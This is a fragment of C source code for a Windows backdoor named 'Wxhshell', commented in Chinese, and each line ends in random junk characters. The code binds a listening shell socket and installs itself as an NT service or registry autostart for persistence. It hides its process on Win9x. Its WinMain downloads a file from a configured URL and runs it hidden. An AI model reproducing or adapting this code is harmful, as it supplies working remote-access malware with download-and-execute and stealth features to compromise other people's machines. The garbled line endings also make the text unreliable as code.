DWORD BasePriority; P#RR9>Q
ULONG UniqueProcessId; zfc'=ODX
ULONG InheritedFromUniqueProcessId; xfpa]Z
} PROCESS_BASIC_INFORMATION; U@HK+C"M|
wCr(D>iM
PROCNTQSIP NtQueryInformationProcess; !D@ZYK;
;*Ivn@L
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; C"!gZ8*\!9
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; jE}33"
{_`^R>"\&w
HANDLE hProcess; mzeY%A<0^
PROCESS_BASIC_INFORMATION pbi; Ont%eC\
nSW=LjrO~<
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 7[> 6i
if(NULL == hInst ) return 0; ~Lm$i6E<
:[O
8
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); jFASX2.p
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); {)BTR %t
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); L\@I*QP
[3(74
if (!NtQueryInformationProcess) return 0; v3aYc:C
v*r7Zz6l
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); HkO7R
`
if(!hProcess) return 0; o=50>$5jlS
vbb5f #WZ
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; S 5/R_5
i+p^ ^t\
CloseHandle(hProcess); 4)@mSSfn.
F<qz[,]|-j
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); }s(N6 a&(
if(hProcess==NULL) return 0; wgamshm"d
N'^&\@)xiU
HMODULE hMod; \P.I)n`8 y
char procName[255]; 6^eV"&+@
unsigned long cbNeeded; t.7?
y~q8pH1
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); $wo?!gt
[H6hyG~
CloseHandle(hProcess); ~/98Id}v
v2B0q4*BS?
if(strstr(procName,"services")) return 1; // 以服务启动 RxI(:i?
$npT[~U5
return 0; // 注册表启动 kQEy#JQmB
} Tk5W'p|6f
9{
>Ui
// 主模块 n/+.s(7c
int StartWxhshell(LPSTR lpCmdLine) n ~shK<!C
{ \l9qt5rS
SOCKET wsl; (oEC6F
BOOL val=TRUE; !bN*\c
int port=0; "|q qUKJZ
struct sockaddr_in door; M<kj_.
Urr@a/7
if(wscfg.ws_autoins) Install(); ~N<4L>y<
&e#~<Wm82
port=atoi(lpCmdLine); ]pH-2_
KG|n
if(port<=0) port=wscfg.ws_port;
|8My42yf
L.S;J[a;
WSADATA data; Hn5|B 3vN
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; M$/|)U'W
va}Pj#=
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; L"o>wYx
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ??M"6k
door.sin_family = AF_INET; 6L"%e!be6
door.sin_addr.s_addr = inet_addr("127.0.0.1"); ;C3US)j
door.sin_port = htons(port); qI#;j%V
2O.i\cH
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { #xX5,r0
closesocket(wsl); -*
WXMzr
return 1; }:us:%
} ?o81E2TJO
w5A y)lz
if(listen(wsl,2) == INVALID_SOCKET) { gMWjk7
closesocket(wsl); GO`Ru 8
return 1; lku[dQdk
} _AAaC_q
Wxhshell(wsl); i rU 6D
WSACleanup(); 62k^KO6Y
{2=jAz'?
return 0; 1IC~e^"
= \'}g?
} UNom-
Tn*9lj4
// 以NT服务方式启动 nbm&wa[
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) HCyv ]LR
{ _+K_5IO4
DWORD status = 0; E"qRw_
~t
DWORD specificError = 0xfffffff; X*/ho
'ig&$fz b
serviceStatus.dwServiceType = SERVICE_WIN32; tzZ`2pSh
serviceStatus.dwCurrentState = SERVICE_START_PENDING; $Tu61zq
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; W+UfGk}A
serviceStatus.dwWin32ExitCode = 0; k5:G-BQ:
serviceStatus.dwServiceSpecificExitCode = 0; OSs&r$
serviceStatus.dwCheckPoint = 0; $ M`hh{ -
serviceStatus.dwWaitHint = 0; yeXx',]a
qU%/W|LY
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); l_o@miG/
if (hServiceStatusHandle==0) return; GFeQ%l`7F
tnH2sHby
status = GetLastError(); dIN$)?aB0
if (status!=NO_ERROR)
DJ'zz&K
{ -w9pwB
serviceStatus.dwCurrentState = SERVICE_STOPPED; }=<
serviceStatus.dwCheckPoint = 0;
^
DaBz\
serviceStatus.dwWaitHint = 0; l`oZ)?ur
serviceStatus.dwWin32ExitCode = status; iiT"5`KY
serviceStatus.dwServiceSpecificExitCode = specificError; ,}3
'I [
SetServiceStatus(hServiceStatusHandle, &serviceStatus); j[`j9mM8
return; "i y
} XGYbnZ~
K2TcOFQ
serviceStatus.dwCurrentState = SERVICE_RUNNING; }>>1<P<8-
serviceStatus.dwCheckPoint = 0; rp3V3]EE
serviceStatus.dwWaitHint = 0; 39:bzUIF
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); t{ xf:~B
}
}Yb[
ojaws+(& y
// 处理NT服务事件,比如:启动、停止 A P)L:7w'e
VOID WINAPI NTServiceHandler(DWORD fdwControl) );#JL0I
{ _K]_
@Ivh
switch(fdwControl) .~~nUu+M
{ f(/lLgI(
case SERVICE_CONTROL_STOP: zQcL|(N
serviceStatus.dwWin32ExitCode = 0; Gr*r=s
serviceStatus.dwCurrentState = SERVICE_STOPPED; = bfJ^]R
serviceStatus.dwCheckPoint = 0; ^uKwB;@
serviceStatus.dwWaitHint = 0; g%sluT[#
{ +ieY:H[
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3O,+=?VK
} :flx6,7D
return; ;&9)I8Us
case SERVICE_CONTROL_PAUSE: )(bW#-
serviceStatus.dwCurrentState = SERVICE_PAUSED; ")SFi^]
break; KI)M JG:t
case SERVICE_CONTROL_CONTINUE: &v56#lG
serviceStatus.dwCurrentState = SERVICE_RUNNING; 5x5@t
:
break; Nv#t:J9f
case SERVICE_CONTROL_INTERROGATE: T$>WE= Y
break; 6</xL9#/
}; e%svrJ2
SetServiceStatus(hServiceStatusHandle, &serviceStatus); e^8 O_VB
} joFm]3$;
zwhe
// 标准应用程序主函数 f86XkECZ;`
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ^X=arTE
{ p2#)A"
?^7t'`zk
// 获取操作系统版本 S=MEG+Ad
OsIsNt=GetOsVer(); \HqNAE2T
GetModuleFileName(NULL,ExeFile,MAX_PATH); m4**~xfC
sZjQ3*<-r
// 从命令行安装 HHA<IZ#;,
if(strpbrk(lpCmdLine,"iI")) Install(); 8L,5Q9
$
'}9x\3E
// 下载执行文件 5&QJ7B,!
if(wscfg.ws_downexe) { |t^E~HLm,
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ZT'`hK_up
WinExec(wscfg.ws_filenam,SW_HIDE); @Pm>sY}d<I
} Bc(Y(X$PK
.8@$\ZRP
if(!OsIsNt) { vq0Vq(V=
// 如果时win9x,隐藏进程并且设置为注册表启动 @:j}Jmg
HideProc(); _tiujP
StartWxhshell(lpCmdLine); PY_u/<u
} )P%ZA)l%_o
else Nkjza:f{
if(StartFromService()) ]3x?
// 以服务方式启动 %>yG+Od5Z
StartServiceCtrlDispatcher(DispatchTable); };mA^xO]j
else 6@Y_*4$|
// 普通方式启动 &:;:"{t}Do
StartWxhshell(lpCmdLine); Z~AO0zUKY
V_R@o3kv;
return 0; ./-5R|fN
}